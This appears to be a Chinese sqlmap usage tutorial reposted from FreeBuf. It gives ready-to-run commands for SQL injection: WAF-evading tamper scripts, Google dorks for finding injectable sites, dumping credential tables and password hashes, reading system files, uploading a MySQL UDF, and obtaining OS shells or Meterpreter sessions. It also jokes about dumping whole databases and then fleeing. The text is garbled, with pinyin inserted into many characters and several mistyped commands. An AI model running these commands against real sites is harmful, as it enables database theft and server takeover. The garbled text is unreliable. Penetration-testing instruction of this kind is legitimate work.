sqlmap使用
SQLmap是一種開源滲透測試工具,可自動執(zhí)行SQL注入缺陷的檢測和開發(fā)過程,并接管數(shù)據(jù)庫服務(wù)器。它有強大的檢測引擎,針對不同類型的數(shù)據(jù)庫提供多樣的滲透測試功能選項,實現(xiàn)數(shù)據(jù)庫識別、數(shù)據(jù)獲取、訪問DBMS\操作系統(tǒng)甚至通過帶外數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)的命令。以及從數(shù)據(jù)庫指紋識別、從數(shù)據(jù)庫獲取數(shù)據(jù)、訪問底層文件的廣泛范圍的交換機通過帶外連接在操作系統(tǒng)上執(zhí)行命令。
SQLMAP支持的數(shù)據(jù)包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數(shù)據(jù)庫。
?
Sqlmap使用經(jīng)驗總結(jié)
?
| 1 | 在使用-v參數(shù)的時候,盡量選擇,3級別,次級別可以顯示注入的參數(shù)。 例如:sqlmap -v3 -u?www.potian.com |
| 2 | 當一件知道數(shù)據(jù)庫信息的時候,使用-d直接連接數(shù)據(jù)庫,注意-D是指定目標庫,要區(qū)分。 例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER |
| 3 | 當使用Burp或WebScarab保存了日志的時候,想從日志文件中篩選目標,可使用-I使用 絕對路徑地址即可。 |
| 4 | -g可以使用google的搜索結(jié)果,例如,直接搜索uid=,查找具有此參數(shù)的站點,直接使用sqlmap調(diào)用google結(jié)果,例:sqlmap -g inurl:php?uid=。(收集了一些語句,在附表)當需要使用-g inurl:php?uid=等參數(shù)時,默認無法訪問,可使用此參數(shù)+海外代理方式使用此功能。當代理需要驗證的時候,使用-cre指定身份信息,需要使用代理輪巡時,使用文件加載代理設(shè)置列表,使用代理輪詢也可在對訪問ip次數(shù)進行了驗證的場景使用。(鑒于我國國情,不建議使用) |
| 5 | 服務(wù)端允許的情況下,–method改變默認的http方法,和其他參數(shù)配合使用,例如–data,改變?yōu)閜ost然后推送數(shù)據(jù)。 ? |
| 6 | 默認情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent參數(shù)來指定想使用的UA,同時也可以使用–random-agent參數(shù)來隨機的從./txt/user-agents.txt中獲取。當–level參數(shù)設(shè)定為3或者3以上的時候,會嘗試對User-Angent進行注入.另外UA是繞過waf的參數(shù),–user-agent= –random-agent這兩個參數(shù)可對waf針對惡意ua的防控進行繞過。 ? |
| 7 | 指定http請求中的header里的host參數(shù)、在請求中偽造referer,有些waf和安全產(chǎn)品等會對refer進行限制,僅允許本站referer,當waf參數(shù)對referer進行了限制后,可使用此參數(shù)進行繞過。當–level參數(shù)設(shè)定為3或者3以上的時候會嘗試對referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type ? |
| 8 | HTTP代理身份驗證憑據(jù),可自動使用username:password和秘鑰文件,例如有些訪問會使用key文件,集團sso最愛出現(xiàn)此種場景,在這種身份驗證憑據(jù)的需求中,也可使用-I參數(shù)使用burp等代理記錄文件來使用身份憑據(jù) |
| 9 | 設(shè)置http請求間隔時間,在繞過需求時使用,例如單ip單位時間訪問多少次,可配合代理和多代理參數(shù)使用。超時連接后的嘗試間隔,默認30s,可手動調(diào)整,一般–timeout和–retries配合使用 ? |
| 10 | 有的網(wǎng)站會對提交的參數(shù)進行編碼或加密,這時候需要根據(jù)某個參數(shù)的變化,而修改另個一參數(shù),才能形成正常的請求,這時可以用–eval參數(shù)在每次請求時根據(jù)所寫python代碼做完修改后請求。 例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的請求就是每次請求時根據(jù)id參數(shù)值,做一次md5后作為hash參數(shù)的值。” ? |
| 11 | sqlmap默認測試所有的GET和POST參數(shù),上文提到過,當–level的值大于等于2的時候也會測試HTTP Cookie頭的值,大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。這時候可以手動指定-p參數(shù)設(shè)置想要測試的參數(shù)。 例如:-p “”id,cookie”"但是有個別參數(shù)不想測試的時候可以使用–skip=“user-agent”參數(shù)。 |
| 12 | 數(shù)值處理:參數(shù):–invalid-bignum –invalid-logical這兩個參數(shù)對報錯數(shù)據(jù)、無效數(shù)據(jù)進行更改,例如默認報錯UID=-20,可以通過制定以上參數(shù)制定無效的大數(shù)字和邏輯,比如uid=999999999和uid=20 and a=b 參數(shù):–prefix,–suffix在注入的payload的前面或者后面加一些字符,來保證payload的正常執(zhí)行,例如在語句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″” |
| 13 | –tamper可從tamper庫里查找相關(guān)內(nèi)容,使用–tamper tamper/*.py方式指定 |
| 14 | 上文多次解釋–level對測試參數(shù)的影響,一共有五個等級,默認為1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根據(jù)相應(yīng)的格式添加自己的payload內(nèi)容,默認也有一些,可定制。 –level的值大于等于2的時候也會測試HTTP Cookie頭的值,大于等于3的時候也會測試User-Agent和HTTP Referer頭的值,建議最高級別,會更慢、測試參數(shù)更復雜。 |
| 15 | risk從0-3共有四個風險等級,默認是1,risk1會測試大部分的測試語句,risk2會增加基于事件的測試語句,3會增加OR語句的注入測試。測試的語句同樣可以在payloads.xml中找到,可以自行添加payload。 警告:當使用高級別時,可能會使用drop、update等高危語句對整表、整庫造成影響,可能導致更新的整個表,可能造成很大的風險。 |
| 16 | “sqlmap測試結(jié)果取決于返回內(nèi)容,當頁面在刷新或更新后,可能導致返回不同的內(nèi)容,特別是頁面有動態(tài)內(nèi)容的情況下。為了避免誤報,可指定字符串或者正則表達式來區(qū)分原始頁面和報錯頁面(–string參數(shù)添加字符串,–regexp添加正則),也可以提供一段字符串在原始頁面與true下的頁面都不存在的字符串,而false頁面中存在的字符串(–not-string添加)。 用戶也可以提供true與false返回的HTTP狀態(tài)碼不一樣來注入,例如,響應(yīng)200的時候為真,響應(yīng)401的時候為假,–code=200。 |
| 17 | 默認sqlmap會把BEUSTQ六中注入方式全來一遍,可根據(jù)實際情況進行調(diào)整,例如可使用時間延遲,看網(wǎng)站響應(yīng)時間來判斷是否有注入,可根據(jù)報錯判斷注入。如果不是很懂,就不用管,雖然時間長點,但很全面。 B:Boolean-based blind SQL injection(布爾型注入) E:Error-based SQL injection(報錯型注入) U:UNION query SQL injection(可聯(lián)合查詢注入) S:Stacked queries SQL injection(可多語句查詢注入) T: Time-based blind SQL injection(基于時間延遲注入) Q: Inline SQL Injection? (內(nèi)聯(lián)注入) 當使用基于時間延遲注入的盲注時,時刻使用–time-sec參數(shù)設(shè)定延時時間,默認是5秒,可以根據(jù)環(huán)境記性調(diào)整,比如網(wǎng)絡(luò)延遲很大,可適當增加延時時間 ? |
| 18 | –union-cols設(shè)定的值為一段整數(shù)范圍,制定區(qū)間,此數(shù)值默認為1-10,隨著–levle增加,當為5的時候增加為50,當level級別和取值范圍不匹配,在低級別需求更大的范圍,可通過設(shè)定–union-cols的值來實現(xiàn)。設(shè)定union查詢使用的字符,默認使用NULL,但是可能會返回失敗,–union-char指定UNION查詢的字符。指定查詢的表,配合上文暴力破解的字符、范圍等來詳細使用。 ? |
| 19 | 在一旦注入成功且獲得精確信息通過以下詳細參數(shù)來指定檢索、枚舉動作和動作執(zhí)行對象:檢索DBMS的指紋特征、數(shù)據(jù)庫、host值、用戶身份、并對用戶、密碼、權(quán)限、角色進行枚舉也就是爆破。然后嘗試枚舉數(shù)據(jù)庫、數(shù)據(jù)庫里的表、數(shù)據(jù)庫里的內(nèi)容、可以使用count來統(tǒng)計條目等操作。dump和dump-all就是脫褲和全脫的區(qū)別,dump某表的十條八條可能沒事兒,dump-all注定要浪跡天涯,也就是所謂的從脫褲到跑路的開始,通過-D\-T\-C來制定索要枚舉的庫、表、和列,使用-X來排除不想要的列,特別是有多列且有無意義字段的時候,使用-X可大大節(jié)省時間。 –exclude-sysdbs參數(shù),將不會獲取數(shù)據(jù)庫自帶的系統(tǒng)庫內(nèi)容,可減少干擾內(nèi)容,對-count的使用和枚舉信息的使用建議搭配此參數(shù)來排除系統(tǒng)庫。 當我們不想跑路的時候,那么請使用下面內(nèi)容: ??? –start=LIMITSTART? First query output entry to retrieve指定從第幾行開始輸出,如: –start=1 ??? –stop=LIMITSTOP??? Last query output entry to retrieve 指定從第幾行停止輸出 –stop=10? –first=FIRSTCHAR?? First query output word character to retrieve 指定從第幾個字符開始輸出 –first 1 ??? –last=LASTCHAR Last query output word character to retrieve 指定從第幾個字符停止輸出–last10 |
| 20 | 暴力檢查:猜測檢查常見的、通用的表名和列名,可通過下面兩個文件進行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中 |
| 21 | 對文件系統(tǒng)、操作系統(tǒng)的交互和使用必須需要相應(yīng)的權(quán)限,前面提到要求具有特定的函數(shù)執(zhí)行特權(quán),一般要求root。針對文件系統(tǒng)的讀寫:對–file-read配置絕對系統(tǒng)路徑,可讀取相應(yīng)文件內(nèi)容,可以是文本,也可以是二進制,條件是必須擁有相對應(yīng)特權(quán),已知的是mysql、postgresql和sqlserver。寫入也是同樣,往遠端后臺的DBMS里寫入一個本地文件,可通過–file-dest指定絕對文件路徑。” 當然和上面可以配合使用,當數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權(quán)限使用特定的函數(shù)。然后通過上面的文件系統(tǒng)管理上傳一個庫,使用可執(zhí)行系統(tǒng)命令的sys_exec()和sys_eval(),甚至xp_cmdshell存儲過程 –os-shell參數(shù)也可以模擬一個真實的shell,可以輸入你想執(zhí)行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,當前用戶有權(quán)限使用特定的函數(shù),可以在數(shù)據(jù)庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據(jù)Metasploit生成shellcode,四種方式執(zhí)行它: 1.通過用戶自定義的sys_bineval()函數(shù)在內(nèi)存中執(zhí)行Metasplit的shellcode,支持MySQL和PostgreSQL數(shù)據(jù)庫,參數(shù):–os-pwn。 2.通過用戶自定義的函數(shù)上傳一個獨立的payload執(zhí)行,MySQL和PostgreSQL的sys_exec()函數(shù),Microsoft SQL Server的xp_cmdshell()函數(shù),參數(shù):–os-pwn。 3.通過SMB攻擊(MS08-068)來執(zhí)行Metasploit的shellcode,當sqlmap獲取到的權(quán)限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。 4.通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內(nèi)存中執(zhí)行Metasploit的payload,參數(shù):–os-bof。 |
| 22 | 所見即所得,注冊表連接指的是windows系統(tǒng),相信大家都有windows系統(tǒng)知識,不懂注冊表基本就不懂windows系統(tǒng),所有的windows系統(tǒng)配置在注冊表里都可實現(xiàn),比如開啟遠程連接、比如新建用戶、比如組策略配置、比如防火墻等等,reg可對注冊表內(nèi)容進行讀取、編輯、和刪除,上面和下面相配合可實現(xiàn)對指定的key、value、data和類型進行操作。 ? |
| 23 | –batch 在使用sqlmap時,有時一些響應(yīng)需要用戶交互,輸入Y、N、skip、quit等,使用此選項可使用默認配置。 –output-dir=? 指定輸出路徑,方式控制臺輸出過多,無法查看,也方便記錄 –gpage=GOOGLEPAGE 好像默認是使用google搜索的前100個文件,當使用前面的-g參數(shù),配合此參數(shù)指定頁面 –identify-waf? 進行WAF/IPS/IDS保護測試,目前大約支持30種產(chǎn)品的識別 –mobile 使用移動產(chǎn)品UA,把sqlmap偽裝成手機,也可使用前面的 -user-agent 自己指定 –smart? 智能深度啟發(fā)式掃描,或許會有驚喜呢。 ?–wizard 和上面的完全不同,純新手選擇,一步步讓你輸入url等參數(shù),基本輸入個url就行。 |
Sqlmap實操語句
?
| 1 | 手工基本檢測和判斷(在注入點使用or、and等可判斷是否有注入點) | 原始網(wǎng)頁:http://www.potian.com/mysql/product/user_info.php?uid=1?024? 構(gòu)造url1:http://www.potian.com/mysql/product/user_info.php?uid=1?024+AND+1=1 構(gòu)造url2:http://www.potian.com/mysql/product/user_info.php?uid=1?024+AND+1=1 025? |
| 2 | 基礎(chǔ)檢測語法 | sqlmap.py -u? http://www.potian.com/mysql/product/user_info.php?uid=1 024 ? |
| 3 | 批量檢測 | “sqlmap.py -m target.txt”,注意target.txt跟sqlmap在同一個目錄下。 ? |
| 4 | 繞過WAF進行SQL注入 ? | (1)修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 為:return match.group().replace(word, ”/*!50000%s*/” % word) (2)修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>為:<castquery= ”convert(%s,CHAR)”/> (3)使用sqlmap進行注入測試sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py” 其它繞過waf腳本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 (4)tamper目錄下文件具體含義: space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引號 equaltolike.pylike 代替等號 space2dash.py 繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’n’) greatest.py 繞過過濾’>’ ,用GREATEST替換大于號。 space2hash.py 空格替換為#號,隨機字符串以及換行符 apostrophenullencode.py 繞過過濾雙引號,替換字符和雙引號。 halfversionedmorekeywords.py 當數(shù)據(jù)庫為mysql時繞過防火墻,每個關(guān)鍵字之前添加mysql版本評論 space2morehash.py 空格替換為#號 以及更多隨機字符串 換行符 appendnullbyte.py ?在有效負荷結(jié)束位置加載零字節(jié)字符編碼 ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替換為其它空符號 base64encode.py 用base64編碼替換 space2mssqlhash.py 替換空格 modsecurityversioned.py 過濾空格,包含完整的查詢版本注釋 space2mysqlblank.py 空格替換其它空白符號(mysql) between.py 用between替換大于號(>) space2mysqldash.py 替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’) multiplespaces.py 圍繞SQL關(guān)鍵字添加多個空格 space2plus.py 用+替換空格 bluecoat.py 代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為like nonrecursivereplacement.py 雙重查詢語句,取代SQL關(guān)鍵字 space2randomblank.py 代替空格字符(“”)從一個隨機的空白字符可選字符的有效集 sp_password.py 追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾 chardoubleencode.py 雙url編碼(不處理以編碼的) unionalltounion.py 替換UNION ALLSELECT UNION SELECT charencode.py url編碼 randomcase.py ?隨機大小寫 unmagicquotes.py 寬字符繞過 GPCaddslashes randomcomments.py 用/**/分割sql關(guān)鍵字 charunicodeencode.py 字符串unicode編碼 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注釋繞過 space2comment.py 替換空格字符串(‘‘) 使用注釋‘/**/’ halfversionedmorekeywords.py ?關(guān)鍵字前加注釋 ? |
| 5 | URL重寫SQL注入測試 ? | value1為測試參數(shù),加“*”即可,sqlmap將會測試value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/” |
| 6 | 列舉并破解密碼哈希值?? | 當前用戶有權(quán)限讀取包含用戶密碼的權(quán)限時,sqlmap會現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1 ? |
| 7 | 獲取表中的數(shù)據(jù)個數(shù) ? | sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb ? |
| 8 | 站點爬取 | sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3 ? |
| 9 | 注入時間預(yù)估(基于布爾) | sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta ? |
| 10 | 使用hex避免字符編碼導致數(shù)據(jù)丟失 | ? sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors ? |
| 11 | 模擬測試手機環(huán)境站點 ? | python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile ? |
| 12 | 智能判斷測試 ? | sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart ? |
| 13 | 結(jié)合burpsuite進行注入 | sqlmap.py -r burpsuite 抓包.txt ? |
| 14 | sqlmap 自動填寫表單注入 | sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱–tables sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱 -T 表名 –columns sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱 -T 表名 -Cusername,password –dump ? |
| 15 | 讀取linux下文件 | sqlmap.py-u “url” –file /etc/password ? |
| 16 | sqlmap?cookies 注入 | sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″? –dbs –level 3 sqlmap.py -u 注入點URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump ? |
| 17 | 連接mysql數(shù)據(jù)打開一個交互shell | sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir; ? |
| 18 | 利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄 | sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’); ? |
| 19 | 執(zhí)行shell命令 | sqlmap.py -u “url” –os-cmd=”netuser” /*執(zhí)行net user命令*/ sqlmap.py -u “url” –os-shell /*系統(tǒng)交互的shell*/ ? |
| 20 | 延時注入 | sqlmap –dbs -u”url” –delay 0.5 /* 延時0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 請求2次*/ ? |
?
?
本文作者:破天·張坤,轉(zhuǎn)載請注明來自FreeBuf.COM
轉(zhuǎn)載于:https://www.cnblogs.com/lwfiwo/p/10619131.html
與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖總結(jié)
- 上一篇: redis 安装-配置
- 下一篇: 03-命令图片.doc